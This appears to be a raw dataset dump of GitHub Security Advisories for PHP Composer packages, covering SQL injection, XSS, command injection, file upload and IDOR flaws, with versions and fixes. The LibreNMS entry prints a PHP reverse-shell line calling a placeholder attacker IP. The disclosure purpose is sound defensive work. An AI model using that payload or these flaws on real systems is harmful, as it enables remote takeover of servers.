deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-vf2r-cxg9-p7rf
Package: adodb/adodb-php (COMPOSER)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 5.22.9
Patched in: 5.22.10

Summary: The ADOdb sqlite3 driver allows SQL injection

Details:
Improper escaping of a query parameter may allow an attacker to execute arbitrary SQL statements when the code using ADOdb connects to a sqlite3 database and calls the metaColumns(), metaForeignKeys() or metaIndexes() methods with a crafted table name.

Note that the indicated Severity corresponds to a worst-case usage scenario, e.g. allowing user-supplied data to be sent as-is to the above-mentioned methods.

### Impact
SQLite3 driver.

### Patches
Vulnerability is fixed in ADOdb 5.22.10 (https://github.com/ADOdb/ADOdb/commit/5b8bd52cdcffefb4ecded1b399c98cfa516afe03).

### Workarounds
Only pass controlled data to metaColumns(), metaForeignKeys() and metaIndexes() method's $table parameter.

### Credits

Thanks to Marco Nappi (@mrcnpp) for reporting this vulnerability.
GitHub Security Advisory: GHSA-2x2j-3c2v-g3c2
Package: microweber/microweber (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.0.0, <= 2.0.19
Patched in: unpatched

Summary: Microweber XSS Vulnerability in the homepage Endpoint 

Details:
Microweber CMS 2.0 is vulnerable to Cross Site Scripting (XSS) in the /projects/profile, homepage endpoint via the last name field.
GitHub Security Advisory: GHSA-mvj3-hc7j-vp74
Package: microweber/microweber (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.0.0, <= 2.0.19
Patched in: unpatched

Summary: Microweber has Reflected XSS Vulnerability in the layout Parameter

Details:
Reflected Cross-Site Scripting (XSS) in Microweber CMS 2.0 via the layout parameter on the /admin/page/create page allows arbitrary JavaScript execution in the context of authenticated admin users.
GitHub Security Advisory: GHSA-8357-fjvx-xrm8
Package: microweber/microweber (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.0.0, <= 2.0.19
Patched in: unpatched

Summary: Microweber has Reflected XSS Vulnerability in the id Parameter

Details:
Reflected Cross-Site Scripting (XSS) in the id parameter of the live_edit.module_settings API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.
GitHub Security Advisory: GHSA-782f-gxj5-xvqc
Package: microweber/microweber (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.0.0, <= 2.0.19
Patched in: unpatched

Summary: Microweber Has Stored XSS Vulnerability in User Profile Fields

Details:
A Stored Cross-Site Scripting (XSS) vulnerability in Microweber CMS 2.0 allows attackers to inject malicious scripts into user profile fields, leading to arbitrary JavaScript execution in admin browsers.
GitHub Security Advisory: GHSA-hq25-vp56-qr86
Package: bacula-web/bacula-web (COMPOSER)
Severity: HIGH (CVSS 8.1)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 9.7.1
Patched in: 9.7.1

Summary: Bacula-web SQL Injection Vulnerability

Details:
SQL Injection vulnerability in Bacula-web before v.9.7.1 allows a remote attacker to execute arbitrary code via a crafted HTTP GET request.
GitHub Security Advisory: GHSA-w832-w3p8-cw29
Package: z-push/z-push-dev (COMPOSER)
Severity: HIGH (CVSS 9.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 2.7.6
Patched in: 2.7.6

Summary: z-push/z-push-dev SQL Injection Vulnerability

Details:
Versions of the package z-push/z-push-dev before 2.7.6 are vulnerable to SQL Injection due to unparameterized queries in the IMAP backend. An attacker can inject malicious commands by manipulating the username field in basic authentication. This allows the attacker to access and potentially modify or delete sensitive data from a linked third-party database. 

**Note:** This vulnerability affects Z-Push installations that utilize the IMAP backend and have the IMAP_FROM_SQL_QUERY option configured. 

 Mitigation
Change configuration to use the default or LDAP in backend/imap/config.php

php
define('IMAP_DEFAULTFROM', '');

or
php
define('IMAP_DEFAULTFROM', 'ldap');
GitHub Security Advisory: GHSA-9952-gv64-x94c
Package: codeigniter4/framework (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 4.6.2
Patched in: 4.6.2

Summary: CodeIgniter4's ImageMagick Handler has Command Injection Vulnerability

Details:
### Impact
This vulnerability affects applications that:
* Use the ImageMagick handler for image processing (`imagick` as the image library)
* **AND** either:
  * Allow file uploads with user-controlled filenames and process uploaded images using the `resize()` method
  * **OR** use the `text()` method with user-controlled text content or options

An attacker can:
* Upload a file with a malicious filename containing shell metacharacters that get executed when the image is processed
* **OR** provide malicious text content or options that get executed when adding text to images

### Patches
Upgrade to v4.6.2 or later.

### Workarounds
* **Switch to the GD image handler** (`gd`, the default handler), which is not affected by either vulnerability
* **For file upload scenarios**: Instead of using user-provided filenames, generate random names to eliminate the attack vector with `getRandomName()` when using the `move()` method, or use the `store()` method, which automatically generates safe filenames
* **For text operations**: If you must use ImageMagick with user-controlled text, sanitize the input to only allow safe characters: `preg_replace('/[^a-zA-Z0-9\s.,!?-]/', '', $text)` and validate/restrict text options


### References
* [OWASP Command Injection Prevention](https://owasp.org/www-community/attacks/Command_Injection)
* [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
GitHub Security Advisory: GHSA-49jm-g4m8-x53p
Package: codeigniter4/framework (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 4.6.2
Patched in: unpatched

Summary: Withdrawn Advisory: CodeIgniter4 Cross-Site Scripting Vulnerability in debugbar_time Parameter

Details:
### Withdrawn Advisory
This advisory has been withdrawn because the original report was found to be invalid. This link is maintained to preserve external references. For more information, see https://github.com/github/advisory-database/pull/5862.

### Original Description
A stored cross-site scripting (XSS) vulnerability in CodeIgniter4 v4.6.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the debugbar_time parameter.
GitHub Security Advisory: GHSA-m5hw-rhvr-f47c
Package: simogeo/filemanager (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 2.5.0
Patched in: unpatched

Summary: simogeo/filemanager arbitrary file upload vulnerability

Details:
An arbitrary file upload vulnerability in the is_allowed_file_type() function of Filemanager v2.3.0 allows attackers to execute arbitrary code via uploading a crafted PHP file.
GitHub Security Advisory: GHSA-96c2-h667-9fxp
Package: manogi/nova-tiptap (COMPOSER)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 3.2.6
Patched in: unpatched

Summary: nova-tiptap has Unauthenticated Arbitrary File Upload Vulnerability

Details:
A vulnerability was discovered in the marshmallow-packages/nova-tiptap Laravel Nova package that allows unauthenticated users to upload arbitrary files to any Laravel disk configured in the application.

The vulnerability is due to:
	•	Missing authentication middleware (Nova and Nova.Auth) on the /nova-tiptap/api/file upload endpoint
	•	Lack of validation on uploaded files (no MIME/type or extension restrictions)
	•	Ability for an attacker to choose the disk parameter dynamically

This means an attacker can craft a custom form and send a POST request to /nova-tiptap/api/file, supplying a valid CSRF token, and upload executable or malicious files (e.g., .php, binaries) to public disks such as local, public, or s3. If a publicly accessible storage path is used (e.g. S3 with public access, or Laravel’s public disk), the attacker may gain the ability to execute or distribute arbitrary files — amounting to a potential Remote Code Execution (RCE) vector in some environments.
GitHub Security Advisory: GHSA-rc5f-3hfv-jxp2
Package: in2code/femanager (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 8.0.0, < 8.3.1
Patched in: 8.3.1

Summary: Femanager extension for TYPO3 allows Insecure Direct Object Reference

Details:
The femanager extension for TYPO3 allows Insecure Direct Object Reference resulting in unauthorized modification of userdata. This issue affects femanager version 6.4.1 and below, 7.0.0 to 7.5.2 and 8.0.0 to 8.3.0.
GitHub Security Advisory: GHSA-rc5f-3hfv-jxp2
Package: in2code/femanager (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 7.0.0, < 7.5.3
Patched in: 7.5.3

Summary: Femanager extension for TYPO3 allows Insecure Direct Object Reference

Details:
The femanager extension for TYPO3 allows Insecure Direct Object Reference resulting in unauthorized modification of userdata. This issue affects femanager version 6.4.1 and below, 7.0.0 to 7.5.2 and 8.0.0 to 8.3.0.
GitHub Security Advisory: GHSA-rc5f-3hfv-jxp2
Package: in2code/femanager (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: < 6.4.2
Patched in: 6.4.2

Summary: Femanager extension for TYPO3 allows Insecure Direct Object Reference

Details:
The femanager extension for TYPO3 allows Insecure Direct Object Reference resulting in unauthorized modification of userdata. This issue affects femanager version 6.4.1 and below, 7.0.0 to 7.5.2 and 8.0.0 to 8.3.0.
GitHub Security Advisory: GHSA-x769-3cwv-f8hc
Package: in2code/powermail (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: = 13.0.0
Patched in: 13.0.1

Summary: Powermail extension for TYPO3 allows Insecure Direct Object Reference

Details:
The powermail extension for TYPO3 allows Insecure Direct Object Reference resulting in download of arbitrary files from the webserver. This issue affects powermail version 12.0.0 up to 12.5.2 and version 13.0.0.
GitHub Security Advisory: GHSA-x769-3cwv-f8hc
Package: in2code/powermail (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 12.0.0, < 12.5.3
Patched in: 12.5.3

Summary: Powermail extension for TYPO3 allows Insecure Direct Object Reference

Details:
The powermail extension for TYPO3 allows Insecure Direct Object Reference resulting in download of arbitrary files from the webserver. This issue affects powermail version 12.0.0 up to 12.5.2 and version 13.0.0.
GitHub Security Advisory: GHSA-54vw-f4xf-f92j
Package: elmsln/haxcms (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-1021: Improper Restriction of Rendered UI Layers or Frames
Vulnerable versions: < 11.0.8
Patched in: 11.0.8

Summary: HAX CMS application pages vulnerable to clickjacking

Details:
### Summary

All pages within the HAX CMS application do not contain headers to stop other websites from loading the site within an iframe. This applies to both the CMS and generated sites.

### PoC

To replicate this vulnerability, load the target page in an iframe and observe the rendered content.

![image](https://github.com/user-attachments/assets/[PII_REDACTED]-9bac-d33a41091600)


### Impact

An unauthenticated attacker can load the standalone login page or other sensitive functionality within an iframe, performing a UI redressing attack (Clickjacking). This can be used to perform social engineering attacks to attempt to coerce users into performing unintended actions within the HAX CMS application.
GitHub Security Advisory: GHSA-gq96-8w38-hhj2
Package: librenms/librenms (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Vulnerable versions: < 25.7.0
Patched in: 25.7.0

Summary: LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE

Details:
LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. 

The application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:

```php
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}
```
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

>  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

# Conditions for Exploitation

- Attacker must be authenticated    
- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)        

# Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:

```php
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>
```
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812


---

# Recommended Fix

- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. 
- Avoid passing raw POST input into `include_once`.
- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
GitHub Security Advisory: GHSA-96c2-h667-9fxp
Package: marshmallow/nova-tiptap (COMPOSER)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 5.7.0
Patched in: 5.7.0

Summary: nova-tiptap has Unauthenticated Arbitrary File Upload Vulnerability

Details:
A vulnerability was discovered in the marshmallow-packages/nova-tiptap Laravel Nova package that allows unauthenticated users to upload arbitrary files to any Laravel disk configured in the application.

The vulnerability is due to:
	•	Missing authentication middleware (Nova and Nova.Auth) on the /nova-tiptap/api/file upload endpoint
	•	Lack of validation on uploaded files (no MIME/type or extension restrictions)
	•	Ability for an attacker to choose the disk parameter dynamically

This means an attacker can craft a custom form and send a POST request to /nova-tiptap/api/file, supplying a valid CSRF token, and upload executable or malicious files (e.g., .php, binaries) to public disks such as local, public, or s3. If a publicly accessible storage path is used (e.g. S3 with public access, or Laravel’s public disk), the attacker may gain the ability to execute or distribute arbitrary files — amounting to a potential Remote Code Execution (RCE) vector in some environments.
GitHub Security Advisory: GHSA-r7q6-6fmq-mx4c
Package: simogeo/filemanager (COMPOSER)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-23: Relative Path Traversal
Vulnerable versions: <= 2.5.0
Patched in: unpatched

Summary: Filemanager is vulnerable to Relative Path Traversal through filemanager.php

Details:
An issue in Filemanager v2.5.0 and below allows attackers to execute a directory traversal via sending a crafted HTTP request to the filemanager.php endpoint.
GitHub Security Advisory: GHSA-29cq-5w36-x7w3
Package: livewire/livewire (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 3.0.0-beta.1, < 3.6.4
Patched in: 3.6.4

Summary: Livewire is vulnerable to remote command execution during component property update hydration

Details:
### Impact
In Livewire v3 (≤ 3.6.3), a vulnerability allows unauthenticated attackers to achieve remote command execution in specific scenarios. The issue stems from how certain component property updates are hydrated. This vulnerability is unique to Livewire v3 and does not affect prior major versions. Exploitation requires a component to be mounted and configured in a particular way, but does not require authentication or user interaction.

### Patches
This issue has been patched in Livewire v3.6.4. All users are strongly encouraged to upgrade to this version or later as soon as possible.

### Workarounds
There is no known workaround at this time. Users are strongly advised to upgrade to a patched version immediately.

### Resources
No public references available at this time to avoid exposure. Details will be published after a responsible disclosure window.
GitHub Security Advisory: GHSA-jv7x-xhv2-p5v2
Package: binarytorch/larecipe (COMPOSER)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: < 2.8.1
Patched in: 2.8.1

Summary: LaRecipe is vulnerable to Server-Side Template Injection attacks

Details:
### Impact
Attackers could:
1. Execute arbitrary commands on the server
2. Access sensitive environment variables
3. Escalate access depending on server configuration

A critical vulnerability was discovered in LaRecipe that allows an attacker to perform Server-Side Template Injection (SSTI), potentially leading to Remote Code Execution (RCE) in vulnerable configurations.

### Patches
Users are strongly advised to upgrade to version v2.8.1 or later.

### Credit
We would like to thank **Roman Ananev** for responsibly identifying and reporting this vulnerability.
GitHub Security Advisory: GHSA-q4c2-q63g-62j7
Package: modx/revolution (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.7.1-pl
Patched in: 2.7.1-pl

Summary: MODX Revolution vulnerable to XSS attack through its User Photo field

Details:
MODX Revolution through v2.7.0-pl allows XSS via the User Photo field.
GitHub Security Advisory: GHSA-fpxg-5x79-43rm
Package: modx/revolution (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.7.1-pl
Patched in: 2.7.1-pl

Summary: MODX Revolution allows XSS via document resources

Details:
MODX Revolution through v2.7.0-pl allows XSS via a document resource (such as pagetitle), which is mishandled during an Update action, a Quick Edit action, or the viewing of manager logs.
GitHub Security Advisory: GHSA-gm2g-65wj-43g8
Package: modx/revolution (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.7.1-pl
Patched in: 2.7.1-pl

Summary: MODX Revolution allows XSS through extended user fields

Details:
MODX Revolution through v2.7.0-pl allows XSS via an extended user field such as a Container name or Attribute name.
GitHub Security Advisory: GHSA-q745-cfqh-hcrw
Package: james-heinrich/phpthumb (COMPOSER)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 1.7.23
Patched in: unpatched

Summary: phpThumb is vulnerable to Command Injection through its gif_outputAsJpeg function

Details:
gif_outputAsJpeg in phpThumb through 1.7.23 allows phpthumb.gif.php OS Command Injection via a crafted parameter value. This is fixed in 1.7.23[PII_REDACTED]09.
GitHub Security Advisory: GHSA-vwqw-wfhv-2xcq
Package: modx/revolution (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.7.1-pl
Patched in: 2.7.1-pl

Summary: MODX vulnerability allows for XSS via user settings parameters

Details:
MODX Revolution through v2.7.0-pl allows XSS via User Settings such as Description.
GitHub Security Advisory: GHSA-rq7x-cfmc-rq3w
Package: juzaweb/cms (COMPOSER)
Severity: LOW (CVSS 6.3)
CWE: CWE-266: Incorrect Privilege Assignment
Vulnerable versions: <= 3.4.2
Patched in: unpatched

Summary: JuzaWeb CMS is vulnerable to Incorrect Privilege Assignment when installing Import Page component

Details:
A vulnerability classified as critical has been found in JuzaWeb CMS 3.4.2. Affected is an unknown function of the file /admin-cp/imports of the component Import Page. The manipulation leads to improper authorization. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-mrph-pjv2-34f4
Package: juzaweb/cms (COMPOSER)
Severity: LOW (CVSS 6.3)
CWE: CWE-266: Incorrect Privilege Assignment
Vulnerable versions: <= 3.4.2
Patched in: unpatched

Summary: JuzaWeb CMS is vulnerable to Incorrect Privilege Assignment when installing certain components

Details:
A vulnerability classified as critical was found in juzaweb CMS 3.4.2. Affected by this vulnerability is an unknown functionality of the file /admin-cp/theme/install of the component Add New Themes Page. The manipulation leads to improper authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.